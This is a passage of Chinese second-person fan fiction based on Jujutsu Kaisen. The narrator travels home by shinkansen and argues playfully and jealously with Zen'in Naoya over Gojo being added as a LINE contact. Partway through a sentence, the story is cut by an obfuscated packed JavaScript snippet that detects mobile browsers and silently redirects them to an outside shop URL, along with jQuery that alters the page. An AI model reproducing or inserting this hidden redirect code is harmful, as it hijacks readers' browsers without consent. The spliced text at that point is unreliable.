新干线回程的后半段路你在三轮的肩膀上醒了过来,你有些不好意思感觉自己麻烦到了三轮,她却红着脸说完全没关系!!!
即使你们都在一个车厢,周围也清了人,但是你的同学们还是很有素质地用班级□□谈,而不是大声喧哗。
东堂先在群里抱怨伏黑惠对他‘女人’这个问题的回答很无趣,完全没有品味。
真依却觉得伏黑惠的回答非常棒,是罕见的好男人型,目前为止所有人的回答里惠的最棒。
你也对东堂葵的那个离谱提问早有耳闻,之前他在你面前问了宪纪喜欢什么样的女人,宪纪不愿意回答,然后东堂葵还踢了宪纪的屁股一脚,这种近乎幼稚又非常亲近的行为实在是罕见,宪纪当时惊讶得眼睛都睁开了,他可能是在回忆和东堂葵的交往,怎么都不觉得他们是这么亲近的关系。
你觉得伏黑惠的回答一定不轻浮,不仅仅是因为真依这家伙都欣赏他(毕竟你对真依有着很难搞的偏见),而是他看起来就有内涵,不像直哉那样能被所有人一眼看穿。
好奇心驱使你加入对话,你在群聊里问伏黑惠回答了什么。
‘只要有坚定的人性就可以。’东堂葵转述了他的回答并评价,“是很无趣吧?”
伏黑惠的回答排除了外貌、年龄、身材、家世、能力,仅仅只关注了人格和心灵,这确实是一个罕见的回答,特别是对于帅哥来说。
‘哇,好棒的回答。’并不在场的西宫桃也加入了line的对话,并且同样给予肯定。
你没有再发信息,但是你也觉得伏黑惠的回答很不错,联想到你的直哉,如果是他……
首先以直哉的傲慢,他绝对不会回答东堂葵这种涉及隐私的问题,其次你就是他喜欢的类型:年轻貌美的传统家族出生的女咒术师。所以这个问题你根本懒得去问直哉,你早就知道答案了。
你托腮,莫名有些想他,并且有一点点后悔:应该坐他车回京都的。如果在他车上,现在你可以躺在他的大腿上舒舒服服睡觉,他还会撸你的头发,头皮会感觉酥酥麻麻的,这样会更好入睡。虽然三轮也香香的,但是总感觉麻烦她很不好意思,压到她的肩膀,会让你觉得辛苦她了。
看着车窗外倒退的风景,你拍了拍自己的脸,驱散了这样的想法。
睡在直哉的大腿上是必然有巨大的代价的,毕竟你和直哉都不是吃亏的人,他付出了就一定会和你索要报答,所以不睡也罢!
……
你信守对直哉的承诺,下车就和外公及同学们告别,独自出了新干线站后就上了禅院的车。直哉应该还在路上,所以来接你的司机是平日里的那个躯俱留队的成员。
你并不知道他的名字,只知道是禅院某某,你问过直哉,直哉表示你不需要记住废物们的名号,如果需要区别,你干脆给他们编个号算了。
你当然不会做那么反派无脑还羞辱人的事情,好在直哉也只是口嗨,如果他真的用编号称呼躯俱留队的人,那么…好像也不会怎么样,目前他已经是0分了,没有下降空间。
你的直哉多少有点破罐子破摔的意味,所有人都对他差评如潮,他就干脆演都不演了,尽情展示他的论外和屑。
直哉也算是真性情吧,你想,这样的人比弯弯绕绕的人好懂很多,只能往好处想了。
你给直哉发信息,告诉他你已上车。
他立刻回了一个好,看起来是很满意。
到了禅院你就和回了自己家一样,去直哉的浴室沐浴更衣后直接去了他院落的饭厅落座,你刚坐下,他也正好回来。
看着衣着整洁神采飞扬的直哉,你本想说的‘辛苦了’之类的客套词卡在喉咙里。
直哉应该根本不辛苦,他是个非常外向的人,情绪压力都发泄给他人,去东京出差之类的估计也没受累,反正有一大群仆从,恨不得饭都帮他吃。
“呵,你倒是悠闲。”他上上下下打量着换了家居服的你,然后直接挤到你身边的位置上,凑到你的面前就很强势地搂住你,然后吧唧吧唧对着你的脸亲了好几口,你想吃饭不想被亲,自然是和猫咪不愿意互动时一样伸手去推开他的脸。
“小坏蛋!把我带去东京却完全不管我。”直哉被你推脸也是甘之如饴,他没有松开圈住你的胳膊,又开始亲你敏感的耳朵,你痒得扭成麻花,不断拍打让他停下,他却越抱越紧。
“什么啊,直哉。你不是告诉我,禅院在东京有事吗?难道是骗我的吗?”你一边躲避,一边敏锐地捕捉到了他之前的借口,并以此还击。
“是真是假你还不清楚吗?”在你面前直哉确实懒得装了,“看在你今晚过来的份上,我大度原谅你了,以后要更加恭敬听话,明白了吗?”
你觉得他是路途辛苦导致脑子混乱了,在你们的关系里,需要听话的人是他才对!听话是他存在的必要项!不过现在的当务之急是吃饭,你真的很饿了。
“我饿了,先吃饭吧,别闹了。”你说着就用手去掰开直哉的脸,“别碍事。”
直哉知道你内在有些尼禄(暴君)的性格,你说要吃饭了那就是一定要吃,如果他再打扰你吃饭,你可能会生气离开,所以他按耐住自己现在就想做的事,冷声让侍女们上晚膳。
……
各种意义的吃饱喝足后,你躺在直哉的怀里玩手机。
他抱着你,那双修长漂亮的大手有一下没一下地卷着你的银色长发把玩,眼神却黏着在你的手机屏幕上。
“喂,阿离,为什么你加了悟君啊。”他的动态视力极强,自然发现了在你班级群下多了一个人:GOJO(五条)。
“哦,三轮要和他合影,用的是他的手机,拍好照后他把照片传给我了。”你不觉得这有什么,很淡定地回答了,本来也没想瞒着直哉。
“哈?三轮霞要合影为什么不用她的手机?即使用了悟君的,他也可以直接把照片传给三轮霞啊!”直哉完全不接受你这个说法,他警惕地微微直起身子,这让你的身体也跟着滑落。
“直哉少爷,请别乱动……”你有些不满你的人形靠垫移位,并且感觉直哉的反应有些大,“可能因为我是外公的外孙女吧?五条老师对我外公一直挺关注的,在他眼里我比三轮更有联系价值?”
在你眼里五条悟不是一个无的放矢的笨蛋,他加了你的line,在未来你外公继续躲避他的时候,他也许可以联系你来找到你的外公。你认为这可能是他的目的。
当然更有可能的是:他根本没想那么多,随便加了你和三轮中的一个发了照片,仅此而已。
毕竟合影是三轮提出来的,这并不是五条悟‘居心叵测’,当时如果不是你和三轮跑得快(虽然你只是被拖着),他人都离开了。
“是吗?最好是那样。”直哉想命令你将五条悟这个联系人删掉,但是这样实在是太幼稚而且无厘头了,虽然他很想这样做,但是他也想维持在你面前‘成熟稳重年上男友’这一其实不存在的形象。
因为脑内两个想法打架,他俊美的脸上出现了非常纠结的神色,这对他来说是真的难以选择,是爽一下删掉五条悟后被你轻视,还是隐忍不发憋出内伤但是被你尊重呢?
他需要一点安慰。
于是他突然没头没脑问了一个问题:“喂,阿离。我问你,如果悟君那家伙……突然对你千依百顺,有求必应,你是不是立刻会选他,不要我了?”
说完他就死死盯着你,希望你立刻给与否定的答案,最好附带几句‘最爱你’之类的情话,外加投怀送抱,要是能再来一次就更好了。
你愣了一下,抬头看向直哉,并且发现了他的紧绷,虽然他在刻意用随意的语气提问,但是情绪都写在他漂亮的脸上。
正常女友会立刻否认,然后搂住不安的男友撒娇安抚,最后亲亲结束,你好我好大家好。
但是你是浅川离。
你扯了扯嘴角后放下手机,琥珀色的眼睛转了转,迅速在脑中捋顺了逻辑,并且找好了反攻的角度,你学着直哉的语气,甚至带着点夸张的恍然大悟:“哈?直哉,你这个问题好奇怪哦!”
你嘴角浮现一丝微妙的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055198|194870||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑意:“直哉,那么我反过来问你,如果五条老师是五条悟子,比我美丽,术式比我厉害一百倍,而且她喜欢你喜欢得不得了,对你死心塌地,同时她还是五条家唯一的嫡女……那你是不是也立刻、马上、毫不犹豫就选她,不要我了?”
你心如明镜:凭什么只许直哉假设?按照直哉那种慕颜慕强现实功利的性格,如果真的存在爱他的五条悟子,他不选她才怪呢!哼!要不安就大家一起不安,要假设就大家一起假设,凭什么只审判我?
直哉被你问得猝不及防,脸色瞬间变得精彩纷呈。他没想到你不肯接下他的问题,反而把问题抛了回去。
看着你这幅等着看他好戏的样子,他心里乱糟糟的:什么五条悟子,恶心死了!什么,什么乱七八糟的!比阿离更美丽……死心塌地爱着我?不,不对!不能被这只坏猫绕进去了。我怎么可能选别人啊,怎么可能!!
即使心声在说我除了你谁都不要,但是直哉的大少爷身份和傲慢本能无法让他直接将这样软弱的话说出口,承认你是他最重要的人?实在是太软弱了,太恶心了!
于是他恼羞成怒:“浅川离!你少胡搅蛮缠,我问的是你,你只需要回答我的问题就行了!”
你挑眉冷笑,然后随便找了个枕头又靠了下去。
他把你一把拉回到自己胸前,让你继续靠在他此刻因为情绪激动而微微发烫的胸口,吵架(争论?)归吵架,该有的福利他一点也不想放弃。
“你不愿意回答我的问题,直哉你肯定是心虚了。”你靠在他的身上,慢条斯理地回答他,“如果真的有五条悟子,你肯定选她,对不对?”
“我没有!那种假设根本不存在!”
“那你的假设也不存在啊!五条悟不会是女的,他也不会听我的话!他怎么可能对我千依百顺啊?脑子坏了吗?”
“那如果是真的呢!”直哉感觉快被你气炸了,他执拗地想听到你的回答,听你说不会离开他,听你说他是唯一,只要一句话就好!
“那如果五条悟子也是真的存在的呢!?”你知道直哉想听什么,但是你没有说的义务!
你俩就像幼稚园小朋友或者小学生,围绕着根本不存在的两种‘如果’吵得面红耳赤,逻辑也越来越混乱,这种争辩根本不可能有任何结果,到最后又是直哉心机使用自己漂亮的脸蛋示弱,然后你心软了,亲了亲他秀气的鼻子,怜爱之心不知不觉中拉满。
在你的面前,直哉最大的底牌就是他漂亮的脸,他知道你吃哪一套并熟练运用。
等到深夜你昏昏沉沉入睡后,他喘着气拿起你的手机,熟练打开五条悟的对话框,手指在删除键上徘徊。
删除、返回,删除、返回。
他来来回回按了好几次,内心活动丰富:不行,不能删。删了不就显得我很在意,很……幼稚吗?为了悟君的一张照片就失态?不行,绝对不行!我可是禅院直哉!而且,她看起来很坦然的样子,说明她根本没当回事,我要是过度反应,反而显得很奇怪,说不定还会被她嘲笑。可是,真的好想删掉啊!看着就火大!
最后他也没敢真的把五条悟删了。
并不是他害怕你醒来后的雷霆之怒,按照他对你的了解,你其实根本不会太生气,可能就是‘哦’一声,然后嘲讽他几句幼稚。
他是真的很想在你面前能维持一个年上稳重可靠的形象,有余裕的二十七岁男人应该不会做这样幼稚的事情吧?毕竟你和五条悟的聊天记录只有两段:他来发照片,你说收到谢谢。
黑夜中,他烦躁地丢开你的手机,然后转而看向你的脸。
和纸透光,即使屋内熄灯,他还是能借着屋外的光隐隐约约看清你姣好面庞的轮廓,他用手指虚虚地描摹了一下你的鼻子和嘴唇,然后骂你。
“该死的坏猫,一天到晚就知道搞事、搞事、搞事!”
考虑到你们都是咒术师,确实是有死亡的可能性,而且世界上还有咒言这种东西。骂完你,直哉沉默了一下。
“呸呸呸,去掉该死,是该活的坏猫……”